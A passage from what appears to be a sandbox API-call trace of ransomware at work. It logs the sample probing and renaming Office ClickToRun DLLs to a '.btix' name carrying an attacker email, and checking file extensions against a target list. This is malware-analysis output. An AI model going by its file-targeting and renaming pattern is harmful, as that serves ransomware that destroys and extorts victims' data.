dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0055.497] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=2285736) returned 1 [0055.497] CloseHandle (hObject=0x398) returned 1 [0055.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20 [0055.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.497] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0055.497] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.498] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[encrypt11@cock.li].btix"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 1 [0055.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0055.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0055.498] lstrlenW (lpString=".doc") returned 4 [0055.498] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.498] lstrlenW (lpString=".docx") returned 5 [0055.498] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0055.498] lstrlenW (lpString=".pdf") returned 4 [0055.498] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.498] lstrlenW (lpString=".xls") returned 4 [0055.498] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.498] lstrlenW (lpString=".xlsx") returned 5 [0055.498] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0055.498] lstrlenW (lpString=".ppt") returned 4 [0055.498] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0055.498] lstrlenW (lpString=".zip") returned 4 [0055.498] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.498] lstrlenW (lpString=".rar") returned 4 [0055.498] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.498] lstrlenW (lpString=".bz2") returned 4 [0055.498] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.498] lstrlenW (lpString=".7z") returned 3 [0055.498] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0055.498] lstrlenW (lpString=".dbf") returned 4 [0055.499] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0055.499] lstrlenW (lpString=".1cd") returned 4 [0055.499] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0055.499] lstrlenW (lpString=".jpg") returned 4 [0055.499] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0055.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0055.499] lstrlenW (lpString=".doc") returned 4 [0055.499] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.499] lstrlenW (lpString=".docx") returned 5 [0055.499] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0055.499] lstrlenW (lpString=".pdf") returned 4 [0055.499] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.499] lstrlenW (lpString=".xls") returned 4 [0055.499] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.499] lstrlenW (lpString=".xlsx") returned 5 [0055.499] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0055.499] lstrlenW (lpString=".ppt") returned 4 [0055.499] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0055.499] lstrlenW (lpString=".zip") returned 4 [0055.499] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.499] lstrlenW (lpString=".rar") returned 4 [0055.499] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.499] lstrlenW (lpString=".bz2") returned 4 [0055.499] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.499] lstrlenW (lpString=".7z") returned 3 [0055.499] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0055.499] lstrlenW (lpString=".dbf") returned 4 [0055.499] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0055.499] lstrlenW (lpString=".1cd") returned 4 [0055.499] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0055.499] lstrlenW (lpString=".jpg") returned 4 [0055.499] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.500] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0055.500] lstrlenW (lpString="AppVIsvVirtualization.dll") returned 25 [0055.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0055.500] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=567512) returned 1 [0055.500] CloseHandle (hObject=0x398) returned 1 [0055.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0055.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0055.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0055.500] lstrlenW (lpString=".doc") returned 4 [0055.500] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.500] lstrlenW (lpString=".docx") returned 5 [0055.500] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0055.500] lstrlenW (lpString=".pdf") returned 4 [0055.500] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.500] lstrlenW (lpString=".xls") returned 4 [0055.500] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.500] lstrlenW (lpString=".xlsx") returned 5 [0055.501] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0055.501] lstrlenW (lpString=".ppt") returned 4 [0055.501] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0055.501] lstrlenW (lpString=".zip") returned 4 [0055.501] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.501] lstrlenW (lpString=".rar") returned 4 [0055.501] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.501] lstrlenW (lpString=".bz2") returned 4 [0055.501] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.501] lstrlenW (lpString=".7z") returned 3 [0055.501] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0055.501] lstrlenW (lpString=".dbf") returned 4 [0055.501] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0055.501] lstrlenW (lpString=".1cd") returned 4 [0055.501] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0055.501] lstrlenW (lpString=".jpg") returned 4 [0055.501] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0055.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0055.501] lstrlenW (lpString=".doc") returned 4 [0055.501] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.501] lstrlenW (lpString=".docx") returned 5 [0055.501] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0055.501] lstrlenW (lpString=".pdf") returned 4 [0055.501] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.501] lstrlenW (lpString=".xls") returned 4 [0055.501] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.501] lstrlenW (lpString=".xlsx") returned 5 [0055.501] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0055.501] lstrlenW (lpString=".ppt") returned 4 [0055.501] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0055.501] lstrlenW (lpString=".zip") returned 4 [0055.501] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.501] lstrlenW (lpString=".rar") returned 4 [0055.502] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.502] lstrlenW (lpString=".bz2") returned 4 [0055.502] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.502] lstrlenW (lpString=".7z") returned 3 [0055.502] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0055.502] lstrlenW (lpString=".dbf") returned 4 [0055.502] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0055.502] lstrlenW (lpString=".1cd") returned 4 [0055.502] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0055.502] lstrlenW (lpString=".jpg") returned 4 [0055.502] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.502] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0055.502] lstrlenW (lpString="AppVManifest.dll") returned 16 [0055.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0055.502] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=1231576) returned 1 [0055.502] CloseHandle (hObject=0x398) returned 1 [0055.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0055.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0055.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0055.503] lstrlenW (lpString=".doc") returned 4 [0055.503] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.503] lstrlenW (lpString=".docx") returned 5 [0055.503] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0055.503] lstrlenW (lpString=".pdf") returned 4 [0055.503] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.503] lstrlenW (lpString=".xls") returned 4 [0055.503] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.503] lstrlenW (lpString=".xlsx") returned 5 [0055.503] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0055.503] lstrlenW (lpString=".ppt") returned 4 [0055.503] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0055.503] lstrlenW (lpString=".zip") returned 4 [0055.503] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.503] lstrlenW (lpString=".rar") returned 4 [0055.503] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.503] lstrlenW (lpString=".bz2") returned 4 [0055.503] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.503] lstrlenW (lpString=".7z") returned 3 [0055.503] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0055.503] lstrlenW (lpString=".dbf") returned 4 [0055.503] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0055.503] lstrlenW (lpString=".1cd") returned 4 [0055.503] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0055.503] lstrlenW (lpString=".jpg") returned 4 [0055.503] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0055.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0055.503] lstrlenW (lpString=".doc") returned 4 [0055.503] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.503] lstrlenW (lpString=".docx") returned 5 [0055.504] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0055.504] lstrlenW (lpString=".pdf") returned 4 [0055.504] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.504] lstrlenW (lpString=".xls") returned 4 [0055.504] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.504] lstrlenW (lpString=".xlsx") returned 5 [0055.504] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0055.504] lstrlenW (lpString=".ppt") returned 4 [0055.504] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0055.504] lstrlenW (lpString=".zip") returned 4 [0055.504] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.504] lstrlenW (lpString=".rar") returned 4 [0055.504] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.504] lstrlenW (lpString=".bz2") returned 4 [0055.504] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.504] lstrlenW (lpString=".7z") returned 3 [0055.504] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0055.504] lstrlenW (lpString=".dbf") returned 4 [0055.504] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0055.504] lstrlenW (lpString=".1cd") returned 4 [0055.504] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0055.504] lstrlenW (lpString=".jpg") returned 4 [0055.504] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.504] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0055.504] lstrlenW (lpString="AppVOrchestration.dll") returned 21 [0055.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0055.505] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=947928) returned 1 [0055.505] CloseHandle (hObject=0x398) returned 1 [0055.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0055.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0055.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0055.505] lstrlenW (lpString=".doc") returned 4 [0055.505] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.505] lstrlenW (lpString=".docx") returned 5 [0055.505] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0055.505] lstrlenW (lpString=".pdf") returned 4 [0055.505] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.505] lstrlenW (lpString=".xls") returned 4 [0055.505] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.505] lstrlenW (lpString=".xlsx") returned 5 [0055.505] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0055.505] lstrlenW (lpString=".ppt") returned 4 [0055.505] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0055.505] lstrlenW (lpString=".zip") returned 4 [0055.505] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.505] lstrlenW (lpString=".rar") returned 4 [0055.505] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.505] lstrlenW (lpString=".bz2") returned 4 [0055.505] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.505] lstrlenW (lpString=".7z") returned 3 [0055.505] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0055.505] lstrlenW (lpString=".dbf") returned 4 [0055.506] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0055.506] lstrlenW (lpString=".1cd") returned 4 [0055.506] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0055.506] lstrlenW (lpString=".jpg") returned 4 [0055.506] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0055.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0055.506] lstrlenW (lpString=".doc") returned 4 [0055.506] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.506] lstrlenW (lpString=".docx") returned 5 [0055.506] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0055.506] lstrlenW (lpString=".pdf") returned 4 [0055.506] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.506] lstrlenW (lpString=".xls") returned 4 [0055.506] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.506] lstrlenW (lpString=".xlsx") returned 5 [0055.506] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0055.506] lstrlenW (lpString=".ppt") returned 4 [0055.506] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0055.506] lstrlenW (lpString=".zip") returned 4 [0055.506] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.506] lstrlenW (lpString=".rar") returned 4 [0055.506] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.506] lstrlenW (lpString=".bz2") returned 4 [0055.506] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.506] lstrlenW (lpString=".7z") returned 3 [0055.506] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0055.506] lstrlenW (lpString=".dbf") returned 4 [0055.506] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0055.506] lstrlenW (lpString=".1cd") returned 4 [0055.506] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0055.506] lstrlenW (lpString=".jpg") returned 4 [0055.506] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.507] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0055.507] lstrlenW (lpString="AppVPolicy.dll") returned 14 [0055.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0055.507] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=1295576) returned 1 [0055.507] CloseHandle (hObject=0x398) returned 1 [0055.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0055.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0055.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0055.507] lstrlenW (lpString=".doc") returned 4 [0055.507] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.507] lstrlenW (lpString=".docx") returned 5 [0055.507] lstrcmpiW (lpString1=".docx", lpString2="y.dll") 